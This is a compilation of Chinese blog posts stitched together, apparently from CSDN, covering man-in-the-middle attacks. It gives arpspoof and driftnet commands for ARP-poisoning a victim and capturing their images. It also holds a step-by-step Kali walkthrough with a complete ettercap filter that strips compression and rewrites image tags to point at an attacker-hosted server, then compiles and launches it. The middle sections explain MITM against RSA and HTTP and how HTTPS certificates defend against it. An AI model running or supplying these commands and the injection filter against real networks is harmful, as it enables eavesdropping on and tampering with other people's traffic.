arpspoof -i etch0(攻击者网卡) -t 192.168.2.1(网关) 192.168.1.2.157（被攻击者IP）

 

监控  driftnet -i etch0

 

查看本地arp缓存  arp -a

清除arp缓存 arp -d

 

 

语法： driftnet   [options]   [filter code]

主要参数：

 -b               捕获到新的图片时发出嘟嘟声

-i  interface     选择监听接口

-f  file   读取一个指定pcap数据包中的图片

-p  不让所监听的接口使用混杂模式

-a  后台模式：将捕获的图片保存到目录中（不会显示在屏幕上）

-m number 指定保存图片数的数目

-d directory  指定保存图片的路径

-x prefix  指定保存图片的前缀名

使用举例：

1.实时监听： driftnet -i wlan0

2.读取一个指定pcap数据包中的图片： driftnet -f /home/linger/backup/ap.pcapng -a -d /root/drifnet/

---------------------  

作者：iteye_3978  

来源：CSDN  

原文：https://blog.csdn.net/iteye_3978/article/details/82677558  

版权声明：本文为博主原创文章，转载请附上博文链接！

前面的文章我们讲到了RSA算法以目前的手段是很难被攻破的，那么使用RSA算法是不是就一定安全了呢？
答案当然是否，因为我们并没有考虑到网络传输中的各种情况。本文会讲一种攻击叫做中间人攻击，为了抵御这种攻击，我们引入证书的概念。我们会在后续的文章中讲解证书的概念。这里我们重点讲一下中间人攻击。
所谓中间人攻击就是在A和B通信的过程中加入了恶意攻击者C。C作为中间人转发两者的请求。
示意图如下：

上面是一个完整的中间人攻击流程：

A向B请求公钥，但是却被C截获。
C向B发送公钥请求。
B将公钥发给C。
C截获了B的公钥，然后替换成自己的公钥发给A。
A将C的公钥当成了B的公钥，并用其加密信息，发给B。
C截获了加密信息，用自己的私钥解密，获得明文。同时伪造新的信息，再用B的公钥加密，发给B。
B获得加密信息，用自己的私钥解密。

中间人攻击不仅仅针对于RSA算法，任何公钥算法都可能受到中间人攻击的影响。
只靠公钥本身是无法防御中间人攻击的。这时候，我们就需要一个第三方的可信任的机构来解决这个公钥传递的问题，那就是证书。我们会在后面的文章中讲到。
更多精彩内容且看：

区块链从入门到放弃系列教程-涵盖密码学,超级账本,以太坊,Libra,比特币等持续更新
Spring Boot 2.X系列教程:七天从无到有掌握Spring Boot-持续更新
Spring 5.X系列教程:满足你对Spring5的一切想象-持续更新
java程序员从小工到专家成神之路（2020版）-持续更新中,附详细文章教程

更多教程请参考 flydean的博客

何为HTTP 中间人攻击

HTTP 协议使用起来确实非常的方便，但是它存在一个致命的缺点：不安全。我们知道 HTTP 协议中的报文都是以明文的方式进行传输，不做任何加密，这样会导致什么问题呢？下面来举个例子：

小明在 JAVA 贴吧发帖，内容为我爱JAVA：



被中间人进行攻击，内容修改为我爱PHP



可以看到在 HTTP 传输过程中，中间人能看到并且修改 HTTP 通讯中所有的请求和响应内容，所以使用 HTTP 是非常的不安全的。

如何防止中间人攻击

这个时候可能就有人想到了，既然内容是明文那我使用对称加密的方式将报文加密这样中间人不就看不到明文了吗，于是如下改造：

双方约定加密方式



使用 AES 加密报文 



 这样看似中间人获取不到明文信息了，但其实在通讯过程中还是会以明文的方式暴露加密方式和秘钥，如果第一次通信被拦截到了，那么秘钥就会泄露给中间人，中间人仍然可以解密后续的通信：



那么对于这种情况，我们肯定就会考虑能不能将秘钥进行加密不让中间人看到呢？答案是有的，采用非对称加密，我们可以通过 RSA 算法来实现。这个步骤实际操作也是比较简单的。在约定加密方式的时候由服务器生成一对公私钥，服务器将公钥返回给客户端，客户端本地生成一串秘钥(AES_KEY)用于对称加密，并通过服务器发送的公钥进行加密得到(AES_KEY_SECRET)，之后返回给服务端，服务端通过私钥将客户端发送的AES_KEY_SECRET进行解密得到AEK_KEY,最后客户端和服务器通过AEK_KEY进行报文的加密通讯，改造如下：



可以看到这种情况下中间人是窃取不到用于AES加密的秘钥，所以对于后续的通讯是肯定无法进行解密了，那么这样做就是绝对安全了吗？所谓道高一尺魔高一丈，中间人为了对应这种加密方法又想出了一个新的破解方案，既然拿不到AES_KEY，那我就把自己模拟成一个客户端和服务器端的结合体，在用户->中间人的过程中中间人模拟服务器的行为，这样可以拿到用户请求的明文，在中间人->服务器的过程中中间人模拟客户端行为，这样可以拿到服务器响应的明文，以此来进行中间人攻击：



 这一次通信再次被中间人截获，中间人自己也伪造了一对公私钥，并将公钥发送给用户以此来窃取客户端生成的AES_KEY，在拿到AES_KEY之后就能轻松的进行解密了。中间人这样为所欲为，就没有办法制裁下吗，当然有啊，接下来我们看看 HTTPS 是怎么解决通讯安全问题的。

HTTPS 如何避免中间人攻击

HTTPS 其实是SSL+HTTP的简称,当然现在SSL基本已经被TLS取代了，不过接下来我们还是统一以SSL作为简称，SSL协议其实不止是应用在HTTP协议上，还在应用在各种应用层协议上，例如：FTP、WebSocket。其实SSL协议大致就和上一节非对称加密的性质一样，握手的过程中主要也是为了交换秘钥，然后再通讯过程中使用对称加密进行通讯，大概流程如下：



这里我只是画了个示意图，其实真正的 SSL 握手会比这个复杂的多，但是性质还是差不多，而且我们这里需要关注的重点在于 HTTPS 是如何防止中间人攻击的。通过上图可以观察到，服务器是通过 SSL 证书来传递公钥，客户端会对 SSL 证书进行验证，其中证书认证体系就是确保SSL安全的关键。

 

 

 

 

一：先准备一张图片



恩恩！低调点好！

我们将图片放大kali的var/www/html目录下

二:启动Apache


 

servce apache2 start 


三：编写攻击脚本


 

if (ip.proto == TCP && tcp.dst == 80) { 
	
if (search(DATA.data, "Accept-Encoding")) { 
	
replace("Accept-Encoding", "Accept-Rubbish!"); 
	
# note: replacement string is same length as original string 
	
#msg("zapped Accept-Encoding!\n"); 
	
} 
	
} 
	
if (ip.proto == TCP && tcp.src == 80) { 
	
replace("img src=", "img src=http://192.168.5.209/img.jpg/&' "); 
	
replace("IMG SRC=", "img src=http:/192.168.5.209/img.jpg/&' "); 
	
msg("过滤执行.\n"); 
	
} 
然后另存为alert.filter文件

四：将alert.filter转变为二进制文件


 

etterfilter alert.filter -o alert.ef 


五：利用ettercap进行中间人攻击

将目标添加为1 路由器自身添加为2


然后我们载入刚才生成的脚本


然后开始中间人攻击